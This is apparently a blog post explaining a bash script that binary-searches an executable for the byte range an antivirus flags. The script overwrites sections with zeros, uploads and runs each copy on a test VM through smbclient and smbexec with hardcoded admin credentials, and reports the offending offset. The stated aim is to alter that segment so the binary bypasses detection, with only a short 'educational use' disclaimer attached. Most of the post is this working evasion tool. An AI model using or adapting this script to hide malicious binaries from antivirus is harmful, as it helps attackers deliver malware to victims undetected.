[Hasagasuo]

Dichotomy vs. Antivirus Signatures

Antivirus detection often relies on signatures—specific patterns in executable files that flag them as malicious. However, a simple 30-line script utilizing binary search can iteratively overwrite different sections of a program, load and execute it in a controlled test environment, and help identify the exact segment triggering the AV detection. By pinpointing this section, we can then modify it in a way that bypasses detection.
This approach requires just three things:

1. A virtual machine with the target antivirus installed.
   
2. The executable you want to test.
   
3. Time.
   

---

The Script: Automating Binary Search for AV Signatures

#!/bin/bash

bin="$1"
[[ $# -ge 2 ]] && o="$2" || o=0

bytes=$(wc -c $bin | cut -d ' ' -f 1)
test="/tmp/$(basename $bin)"

function test_av(){
  HOST='10.0.0.10'; CREDS='admin:password'; RUN="c:\\$(basename $1) help exit"; OUTPUT='coffee'
  { echo 'use c$'; echo "put $1"; } | smbclient.py "$CREDS@$HOST" > /dev/null
  { echo "$RUN"; echo 'exit'; } | smbexec.py -codec 866 "$CREDS@$HOST" | grep -q "$OUTPUT"
  #{ echo '{"execute": "qmp_capabilities"}'; echo '{"execute": "human-monitor-command", "arguments": {"command-line": "loadvm ready"}}' } | nc 127.0.0.1 4444 # qemu -hda av.qcow2 -qmp tcp:127.0.0.1:4444,server,nowait
  return $?
}

next=("0 $[bytes/2]" "$[bytes/2] $[bytes/2]")
n=0
while [ $n -lt ${#next[@]} ] ; do
  read offset len <<< $(echo ${next[$n]})
  [[ $n -lt $o ]] && { next+=("$[offset] $[len/2]"); next+=("$[offset+len/2] $[len/2]"); ((n++)); continue; }
  cp "$bin" "$test"
  dd if=/dev/zero of="$test" bs=1 count=$len seek=$offset conv=notrunc 2> /dev/null
  echo -ne "
[*]test $bin: $offset $len (queue: $n/${#next[@]})\r"
  if test_av "$test"; then
    echo -e "\n[+] $offset $len"
    radiff2 -x "$bin" "$test" | head
  else
    next+=("$[offset] $[len/2]")
    next+=("$[offset+len/2] $[len/2]")
  fi
  ((n++))
done

---

How It Works

1. The script copies the original executable and methodically overwrites sections with zero bytes.
   
2. The modified file is then uploaded and executed in the target environment.
   
3. If the antivirus still detects the file, the script refines the search, breaking down the altered sections further.
   
4. If an altered version evades detection, it prints the exact offset and size of the modified segment, pinpointing the likely AV trigger.
   

This method efficiently isolates signature-based detection triggers, providing insight into what part of the binary raises alarms.

---

Practical Use Case

This technique is particularly useful for:

• Identifying exact AV signature regions in a file.
  
• Tweaking executables in a targeted way rather than making random changes.
  
• Understanding how an antivirus works by analyzing detected patterns.
  

With enough iteration, this can help align a mildly suspicious binary with a not overly strict antivirus, effectively bypassing detection in some cases.

---

Limitations & Ethical Considerations

• Time-consuming: Depending on binary size and AV complexity, this process can take hours.
  
• Not foolproof: Some AVs use heuristics, behavior analysis, or cloud scanning, making static signature evasion insufficient.
  
• For educational use only: This technique should be used ethically, such as for research or red teaming, rather than for malicious purposes.